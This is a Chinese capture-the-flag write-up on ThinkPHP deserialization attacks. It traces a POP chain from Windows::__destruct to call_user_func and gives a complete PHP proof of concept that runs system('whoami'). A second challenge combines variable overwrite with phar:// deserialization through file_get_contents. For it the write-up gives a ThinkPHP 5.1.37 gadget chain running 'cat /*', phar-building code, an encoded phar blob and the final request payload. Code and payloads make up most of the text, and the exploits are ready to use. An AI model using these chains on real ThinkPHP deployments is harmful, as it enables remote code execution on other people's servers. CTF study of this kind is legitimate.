题目为简单的反序列化RCE
image.png
image.png
分析上面的两条pop chain
发现从
think\console\Output->write
开始调用了不同类里的write函数
把第一条pop chain改用第二条pop chain think\cache\dirver\Memcached->write后面的链子

分析调用过程

利用 Windows::desturct作为入口
1.png
进入removeFiles函数
2.png
利用file_exists触发**Merge::
toString
3.png
进入
toJson函数4.png
进入
toArray函数
5.png
利用
toArray函数 816行代码 进入HasMany::call函数
6.png
进入
$this->baseQuery函数
7.png
利用
283行代码 进入Output::
call方法
8.png
进入
block函数
9.png
继续跟进
10.png
11.png
这里进入
Memcached::write函数
12.png
进入
Memcache::set函数
13.png
进入
95行代码中has函数
14.png
利用
66行代码 进入Request::get函数
15.png
进入
input函数
18.png
利用
1012行代码进入filterValue**函数
19.png
利用call_user_func完成RCE
调用栈过程如下
20.png
POC如下:

  1. <?php
  2. namespace think\process\pipes;
  3. class Windows{
  4. private $files = [];
  5. public function __construct()
  6. {
  7. $this->files[0]=new \think\Model\Merge();
  8. }
  9. }
  10. namespace think;
  11. class Model{
  12. }
  13. class Request
  14. {
  15. protected $get = ['huahua' => 'whoami'];
  16. protected $filter = ['system', 'huahua'];
  17. }
  18. namespace think\model\relation;
  19. use think\console\Output;
  20. use think\db\Query;
  21. use think\model\Pivot;
  22. use think\model\Relation;
  23. class HasMany extends Relation
  24. {
  25. //protected $baseQuery=true;
  26. protected $parent;
  27. protected $localKey='a';
  28. protected $foreignKey='a';
  29. public function __construct(){
  30. $this->query=new Output();
  31. $this->parent= new Pivot();
  32. }
  33. }
  34. namespace think\model;
  35. use think\Model;
  36. class Pivot extends Model{
  37. public $a='1';
  38. }
  39. namespace think\model;
  40. class Relation{}
  41. namespace think\model;
  42. use think\model\relation\HasMany;
  43. class Merge extends \think\Model{
  44. protected $relation = [];
  45. protected $append = [];
  46. public function __construct()
  47. {
  48. $this->append[1]=array(1);
  49. $this->relation[1]=new HasMany();
  50. }
  51. }
  52. namespace think\console;
  53. use think\session\driver\Memcached;
  54. class Output{
  55. protected $styles = [
  56. 'info',
  57. 'error',
  58. 'comment',
  59. 'question',
  60. 'highlight',
  61. 'warning',
  62. 'getTable',
  63. 'where'
  64. ];
  65. private $handle = null;
  66. public function __construct()
  67. {
  68. $this->handle =(new Memcached);
  69. }
  70. }
  71. namespace think\session\driver;
  72. use think\cache\driver\Memcache;
  73. class Memcached
  74. {
  75. protected $handler;
  76. protected $config = [
  77. 'session_name' => '//',
  78. 'expire' => '1'
  79. ];
  80. function __construct()
  81. {
  82. $this->handler = (new Memcache);
  83. }
  84. }
  85. namespace think\cache\driver;
  86. use think\Request;
  87. class Memcache
  88. {
  89. protected $handler;
  90. protected $tag = 1;
  91. protected $options = ['prefix' => 'huahua/'];
  92. function __construct()
  93. {
  94. $this->handler = new Request();
  95. }
  96. }
  97. $o = new \think\process\pipes\Windows();
  98. echo urlencode(serialize($o));
  99. ?>

EZTP[安洵杯]

访问/www.zip 发现源码泄露 下载下来审计
TP框架1.png
变量覆盖+file_get_contents
构造
/index.php/Index/index/hello
world=aHVhaHVh%26a=php://filter/read=convert.base64-encode/resource=hello.txt
2.png
达到变量覆盖目的
那我们如何利用呢?
看一张图
CTF ThinkPHP - 图23
file_get_contents函数 支持phar协议 可导致反序列化
网上找一条tp5.1.37的链子

  1. <?php
  2. namespace think {
  3. class Request
  4. {
  5. protected $hook = [];
  6. protected $config = [];
  7. protected $filter;
  8. protected $param = [];
  9. public function __construct()
  10. {
  11. $this->filter = 'system';
  12. $this->param = ['cat /*'];
  13. $this->hook = ['visible' => [$this, 'isAjax']];
  14. $this->config = ['var_ajax' => ''];
  15. }
  16. }
  17. abstract class Model
  18. {
  19. protected $append = [];
  20. private $data = [];
  21. function __construct()
  22. {
  23. $this->append = ['Th0r' => ['a']];
  24. $this->data = ['Th0r' => new Request()];
  25. }
  26. }
  27. }
  28. namespace think\model {
  29. use think\Model;
  30. use think\Request;
  31. class Pivot extends Model
  32. {
  33. }
  34. }
  35. namespace think\process\pipes {
  36. use think\model\Pivot;
  37. class Pipes
  38. {
  39. }
  40. class Windows extends Pipes
  41. {
  42. private $files = [];
  43. function __construct()
  44. {
  45. $this->files = [new Pivot()];
  46. }
  47. }
  48. }
  49. namespace {
  50. use think\process\pipes\Windows;
  51. $phar = new Phar("phar1.phar"); //后缀名必须为phar,压缩后的文件名
  52. $phar->startBuffering();
  53. $phar->setStub(" __HALT_COMPILER(); ?>"); //设置stub
  54. $o = new Windows();
  55. // $o->data = 'hu3sky';
  56. $phar->setMetadata($o); //将自定义的meta-data存入manifest
  57. $phar->addFromString("hello.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
  58. //签名自动计算
  59. $phar->stopBuffering();
  60. // echo base64_encode(serialize(new Windows));
  61. }

生成phar文件后 利用file_get_contents函数将内容读取出来进行写入

  1. <?php
  2. echo urlencode(base64_encode(file_get_contents('./phar1.phar')));
  3. ?>
  4. //IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K1QEAAAEAAAARAAAAAQAAAAAAngEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo2OiJjYXQgLyoiO319fX19fQkAAABoZWxsby50eHQEAAAAQe6hYQQAAAAMfn%2FYtgEAAAAAAAB0ZXN0eB%2F7Y0qwi8NoRd1R8Nz6%2FdDr83wCAAAAR0JNQg%3D%3D

构造payload
world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K1QEAAAEAAAARAAAAAQAAAAAAngEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo2OiJjYXQgLyoiO319fX19fQkAAABoZWxsby50eHQEAAAAQe6hYQQAAAAMfn%2FYtgEAAAAAAAB0ZXN0eB%2F7Y0qwi8NoRd1R8Nz6%2FdDr83wCAAAAR0JNQg%3D%3D%26a=phar://hello.txt
3.png
成功读取